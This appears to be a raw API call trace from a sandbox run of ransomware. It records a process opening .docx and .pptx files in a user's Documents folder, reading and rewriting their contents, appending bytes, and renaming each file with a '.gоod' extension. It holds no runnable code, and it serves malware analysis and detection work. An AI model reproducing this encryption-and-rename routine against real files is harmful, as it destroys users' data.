lpFileName="C:\\Users\\FD1HVy\\Documents\\O-iIEH-JxmiDqnH6.docx" (normalized: "c:\\users\\fd1hvy\\documents\\o-iieh-jxmidqnh6.docx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf34de380, ftCreationTime.dwHighDateTime=0x1d5c347, ftLastAccessTime.dwLowDateTime=0x5ff7b2d0, ftLastAccessTime.dwHighDateTime=0x1d59fea, ftLastWriteTime.dwLowDateTime=0x8d6f1f5a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe385)) returned 1 [0243.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0243.633] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\O-iIEH-JxmiDqnH6.docx" (normalized: "c:\\users\\fd1hvy\\documents\\o-iieh-jxmidqnh6.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\O-iIEH-JxmiDqnH6.docx.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\o-iieh-jxmidqnh6.docx.gоod")) returned 1 [0243.634] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Pm OYQI6jWL.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Pm OYQI6jWL.pptx", lpFilePart=0x0) returned 0x2a [0243.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0243.634] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Pm OYQI6jWL.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\pm oyqi6jwl.pptx"), fInfoLevelId=0x0, lpFileInformation=0x38d9850 | out: lpFileInformation=0x38d9850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74fe1c70, ftCreationTime.dwHighDateTime=0x1d56505, ftLastAccessTime.dwLowDateTime=0x6bc38480, ftLastAccessTime.dwHighDateTime=0x1d59e9c, ftLastWriteTime.dwLowDateTime=0x6bc38480, ftLastWriteTime.dwHighDateTime=0x1d59e9c, nFileSizeHigh=0x0, nFileSizeLow=0xf215)) returned 1 [0243.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0243.634] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Pm OYQI6jWL.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Pm OYQI6jWL.pptx", lpFilePart=0x0) returned 0x2a [0243.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0243.634] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Pm OYQI6jWL.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\pm oyqi6jwl.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0243.635] GetFileType (hFile=0x864) returned 0x1 [0243.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0243.635] GetFileType (hFile=0x864) returned 0x1 [0243.635] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0243.635] ReadFile (in: hFile=0x864, lpBuffer=0x38d9c08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x38d9c08*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0243.635] CloseHandle (hObject=0x864) returned 1 [0243.635] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Pm OYQI6jWL.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Pm OYQI6jWL.pptx", lpFilePart=0x0) returned 0x2a [0243.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0243.635] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Pm OYQI6jWL.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\pm oyqi6jwl.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0243.636] GetFileType (hFile=0x864) returned 0x1 [0243.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0243.636] GetFileType (hFile=0x864) returned 0x1 [0243.636] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0xf215 [0243.636] WriteFile (in: hFile=0x864, lpBuffer=0x38dae70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x38dae70*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0243.636] CloseHandle (hObject=0x864) returned 1 [0243.636] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Pm OYQI6jWL.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Pm OYQI6jWL.pptx", lpFilePart=0x0) returned 0x2a [0243.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0243.636] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Pm OYQI6jWL.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\pm oyqi6jwl.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0243.636] GetFileType (hFile=0x864) returned 0x1 [0243.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0243.636] GetFileType (hFile=0x864) returned 0x1 [0243.636] ReadFile (in: hFile=0x864, lpBuffer=0x38dd100, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x38dd100*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0244.100] CloseHandle (hObject=0x864) returned 1 [0244.101] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Pm OYQI6jWL.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Pm OYQI6jWL.pptx", lpFilePart=0x0) returned 0x2a [0244.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0244.101] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Pm OYQI6jWL.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\pm oyqi6jwl.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0244.101] GetFileType (hFile=0x864) returned 0x1 [0244.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0244.101] GetFileType (hFile=0x864) returned 0x1 [0244.101] WriteFile (in: hFile=0x864, lpBuffer=0x388e840*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x388e840*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0244.101] CloseHandle (hObject=0x864) returned 1 [0244.101] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Pm OYQI6jWL.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Pm OYQI6jWL.pptx", lpFilePart=0x0) returned 0x2a [0244.101] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Pm OYQI6jWL.pptx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Pm OYQI6jWL.pptx.gоod", lpFilePart=0x0) returned 0x2f [0244.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0244.101] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Pm OYQI6jWL.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\pm oyqi6jwl.pptx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74fe1c70, ftCreationTime.dwHighDateTime=0x1d56505, ftLastAccessTime.dwLowDateTime=0x6bc38480, ftLastAccessTime.dwHighDateTime=0x1d59e9c, ftLastWriteTime.dwLowDateTime=0x8db57999, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf225)) returned 1 [0244.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0244.101] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\Pm OYQI6jWL.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\pm oyqi6jwl.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\Pm OYQI6jWL.pptx.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\pm oyqi6jwl.pptx.gоod")) returned 1 [0244.102] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\T4CKknaWyJ19EuCoS.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\T4CKknaWyJ19EuCoS.pptx", lpFilePart=0x0) returned 0x30 [0244.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0244.102] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\T4CKknaWyJ19EuCoS.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\t4ckknawyj19eucos.pptx"), fInfoLevelId=0x0, lpFileInformation=0x3a692e8 | out: lpFileInformation=0x3a692e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe80f780, ftCreationTime.dwHighDateTime=0x1d5951e, ftLastAccessTime.dwLowDateTime=0x59157970, ftLastAccessTime.dwHighDateTime=0x1d58e38, ftLastWriteTime.dwLowDateTime=0x59157970, ftLastWriteTime.dwHighDateTime=0x1d58e38, nFileSizeHigh=0x0, nFileSizeLow=0xc84c)) returned 1 [0244.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0244.103] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\T4CKknaWyJ19EuCoS.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\T4CKknaWyJ19EuCoS.pptx", lpFilePart=0x0) returned 0x30 [0244.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0244.103] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\T4CKknaWyJ19EuCoS.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\t4ckknawyj19eucos.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0244.103] GetFileType (hFile=0x864) returned 0x1 [0244.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0244.103] GetFileType (hFile=0x864) returned 0x1 [0244.103] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0244.103] ReadFile (in: hFile=0x864, lpBuffer=0x3a696d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3a696d0*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0244.103] CloseHandle (hObject=0x864) returned 1 [0244.104] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\T4CKknaWyJ19EuCoS.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\T4CKknaWyJ19EuCoS.pptx", lpFilePart=0x0) returned 0x30 [0244.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0244.104] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\T4CKknaWyJ19EuCoS.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\t4ckknawyj19eucos.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0244.104] GetFileType (hFile=0x864) returned 0x1 [0244.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0244.104] GetFileType (hFile=0x864) returned 0x1 [0244.104] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0xc84c [0244.104] WriteFile (in: hFile=0x864, lpBuffer=0x3a6a950*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x3a6a950*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0244.104] CloseHandle (hObject=0x864) returned 1 [0244.104] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\T4CKknaWyJ19EuCoS.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\T4CKknaWyJ19EuCoS.pptx", lpFilePart=0x0) returned 0x30 [0244.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0244.104] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\T4CKknaWyJ19EuCoS.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\t4ckknawyj19eucos.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0244.104] GetFileType (hFile=0x864) returned 0x1 [0244.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0244.105] GetFileType (hFile=0x864) returned 0x1 [0244.105] ReadFile (in: hFile=0x864, lpBuffer=0x3a6cbf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x3a6cbf8*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0244.183] CloseHandle (hObject=0x864) returned 1 [0244.183] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\T4CKknaWyJ19EuCoS.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\T4CKknaWyJ19EuCoS.pptx", lpFilePart=0x0) returned 0x30 [0244.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0244.183] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\T4CKknaWyJ19EuCoS.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\t4ckknawyj19eucos.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0244.183] GetFileType (hFile=0x864) returned 0x1 [0244.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0244.183] GetFileType (hFile=0x864) returned 0x1 [0244.183] WriteFile (in: hFile=0x864, lpBuffer=0x3a6b968*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x3a6b968*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0244.183] CloseHandle (hObject=0x864) returned 1 [0244.183] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\T4CKknaWyJ19EuCoS.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\T4CKknaWyJ19EuCoS.pptx", lpFilePart=0x0) returned 0x30 [0244.183] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\T4CKknaWyJ19EuCoS.pptx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\T4CKknaWyJ19EuCoS.pptx.gоod", lpFilePart=0x0) returned 0x35 [0244.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0244.183] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\T4CKknaWyJ19EuCoS.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\t4ckknawyj19eucos.pptx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe80f780, ftCreationTime.dwHighDateTime=0x1d5951e, ftLastAccessTime.dwLowDateTime=0x59157970, ftLastAccessTime.dwHighDateTime=0x1d58e38, ftLastWriteTime.dwLowDateTime=0x8dc16748, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc85c)) returned 1 [0244.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0244.184] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\T4CKknaWyJ19EuCoS.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\t4ckknawyj19eucos.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\T4CKknaWyJ19EuCoS.pptx.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\t4ckknawyj19eucos.pptx.gоod")) returned 1 [0244.184] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\UVflxn.docx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\UVflxn.docx", lpFilePart=0x0) returned 0x25 [0244.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0244.184] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\UVflxn.docx" (normalized: "c:\\users\\fd1hvy\\documents\\uvflxn.docx"), fInfoLevelId=0x0, lpFileInformation=0x3ae8f58 | out: lpFileInformation=0x3ae8f58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c641f40, ftCreationTime.dwHighDateTime=0x1d5bb4f, ftLastAccessTime.dwLowDateTime=0xd283be00, ftLastAccessTime.dwHighDateTime=0x1d566e9, ftLastWriteTime.dwLowDateTime=0xd283be00, ftLastWriteTime.dwHighDateTime=0x1d566e9, nFileSizeHigh=0x0, nFileSizeLow=0x759a)) returned 1 [0244.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0244.185] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\UVflxn.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\UVflxn.docx", lpFilePart=0x0) returned 0x25 [0244.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0244.185] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\UVflxn.docx" (normalized: "c:\\users\\fd1hvy\\documents\\uvflxn.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0244.185] GetFileType (hFile=0x864) returned 0x1 [0244.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0244.185] GetFileType (hFile=0x864) returned 0x1 [0244.185] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0244.185] ReadFile (in: hFile=0x864, lpBuffer=0x3ae92e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3ae92e0*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0244.185] CloseHandle (hObject=0x864) returned 1 [0244.185] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\UVflxn.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\UVflxn.docx", lpFilePart=0x0) returned 0x25 [0244.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0244.186] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\UVflxn.docx" (normalized: "c:\\users\\fd1hvy\\documents\\uvflxn.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0244.186] GetFileType (hFile=0x864) returned 0x1 [0244.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0244.186] GetFileType (hFile=0x864) returned 0x1 [0244.186] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x759a [0244.186] WriteFile (in: hFile=0x864, lpBuffer=0x3aea530*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x3aea530*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0244.186] CloseHandle (hObject=0x864) returned 1 [0244.186] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\UVflxn.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\UVflxn.docx", lpFilePart=0x0) returned 0x25 [0244.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0244.186] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\UVflxn.docx" (normalized: "c:\\users\\fd1hvy\\documents\\uvflxn.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0244.186] GetFileType (hFile=0x864) returned 0x1 [0244.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0244.187] GetFileType (hFile=0x864) returned 0x1 [0244.187] ReadFile (in: hFile=0x864, lpBuffer=0x3aec7a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x3aec7a8*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0245.398] CloseHandle (hObject=0x864) returned 1 [0245.399] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\UVflxn.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\UVflxn.docx", lpFilePart=0x0) returned 0x25 [0245.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0245.399] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\UVflxn.docx" (normalized: "c:\\users\\fd1hvy\\documents\\uvflxn.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0245.399] GetFileType (hFile=0x864) returned 0x1 [0245.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0245.399] GetFileType (hFile=0x864) returned 0x1 [0245.399] WriteFile (in: hFile=0x864, lpBuffer=0x368a6e8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x368a6e8*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0245.399] CloseHandle (hObject=0x864) returned 1 [0245.399] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\UVflxn.docx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\UVflxn.docx", lpFilePart=0x0) returned 0x25 [0245.399] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\UVflxn.docx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\UVflxn.docx.gоod", lpFilePart=0x0) returned 0x2a [0245.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0245.399] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\UVflxn.docx" (normalized: "c:\\users\\fd1hvy\\documents\\uvflxn.docx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c641f40, ftCreationTime.dwHighDateTime=0x1d5bb4f, ftLastAccessTime.dwLowDateTime=0xd283be00, ftLastAccessTime.dwHighDateTime=0x1d566e9, ftLastWriteTime.dwLowDateTime=0x8e7b5fa9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x75aa)) returned 1 [0245.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0245.400] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\UVflxn.docx" (normalized: "c:\\users\\fd1hvy\\documents\\uvflxn.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\UVflxn.docx.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\uvflxn.docx.gоod")) returned 1 [0245.401] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\vqjN.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\vqjN.pptx", lpFilePart=0x0) returned 0x23 [0245.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0245.401] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\vqjN.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\vqjn.pptx"), fInfoLevelId=0x0, lpFileInformation=0x375b3e8 | out: lpFileInformation=0x375b3e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b458ed0, ftCreationTime.dwHighDateTime=0x1d5bbd0, ftLastAccessTime.dwLowDateTime=0xaa6579f0, ftLastAccessTime.dwHighDateTime=0x1d55ac2, ftLastWriteTime.dwLowDateTime=0xaa6579f0, ftLastWriteTime.dwHighDateTime=0x1d55ac2, nFileSizeHigh=0x0, nFileSizeLow=0x7ea9)) returned 1 [0245.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0245.401] GetFullPathNameW (in: 